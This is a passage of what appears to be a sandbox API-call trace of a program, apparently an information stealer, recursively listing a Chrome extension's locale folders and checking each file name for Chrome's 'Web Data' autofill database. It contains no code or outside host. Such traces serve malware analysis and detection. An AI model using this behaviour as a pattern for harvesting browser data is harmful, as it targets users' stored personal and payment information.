Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*" [0056.207] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.207] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.207] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.207] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.207] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.207] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.207] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.207] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.207] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.207] LocalFree (hMem=0x2daec0) returned 0x0 [0056.207] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.207] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.207] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.207] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.207] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.207] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.207] lstrlenA (lpString="\\") returned 1 [0056.207] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.207] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.207] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.207] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.207] lstrlenA (lpString="en_GB") returned 5 [0056.207] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.207] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.207] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" [0056.207] LocalFree (hMem=0x2daca0) returned 0x0 [0056.207] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned 135 [0056.207] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned 135 [0056.207] lstrlenA (lpString="\\*.*") returned 4 [0056.207] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.207] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" [0056.207] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*" [0056.207] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.207] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.207] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.207] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.207] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.208] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.208] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.208] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.208] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.208] LocalFree (hMem=0x2daec0) returned 0x0 [0056.208] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.208] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.208] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.208] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.208] lstrlenA (lpString="\\") returned 1 [0056.208] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.208] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.208] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.208] lstrlenA (lpString="en_US") returned 5 [0056.208] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.208] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.208] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" [0056.208] LocalFree (hMem=0x2daca0) returned 0x0 [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned 135 [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned 135 [0056.208] lstrlenA (lpString="\\*.*") returned 4 [0056.208] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.208] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" [0056.208] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*" [0056.208] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.208] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.208] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.208] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.208] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.208] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.208] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.208] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.208] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.208] LocalFree (hMem=0x2daec0) returned 0x0 [0056.208] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.208] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.208] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.208] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.208] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.208] lstrlenA (lpString="\\") returned 1 [0056.208] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.208] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.209] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.209] lstrlenA (lpString="es") returned 2 [0056.209] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.209] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.209] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" [0056.209] LocalFree (hMem=0x2daca0) returned 0x0 [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned 132 [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned 132 [0056.209] lstrlenA (lpString="\\*.*") returned 4 [0056.209] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.209] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" [0056.209] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*" [0056.209] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.209] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.209] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.209] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.209] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.209] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.209] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.209] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.209] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.209] LocalFree (hMem=0x2daec0) returned 0x0 [0056.209] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.209] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.209] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.209] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.209] lstrlenA (lpString="\\") returned 1 [0056.209] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.209] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.209] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.209] lstrlenA (lpString="es_419") returned 6 [0056.209] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dadb0 [0056.209] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.209] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" [0056.209] LocalFree (hMem=0x2daca0) returned 0x0 [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned 136 [0056.209] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned 136 [0056.209] lstrlenA (lpString="\\*.*") returned 4 [0056.209] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2daec8 [0056.209] lstrcpyA (in: lpString1=0x2daec8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" [0056.209] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*" [0056.209] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.210] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.210] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.210] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.210] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.210] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.210] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.210] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.210] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.210] LocalFree (hMem=0x2daec8) returned 0x0 [0056.210] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.210] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: 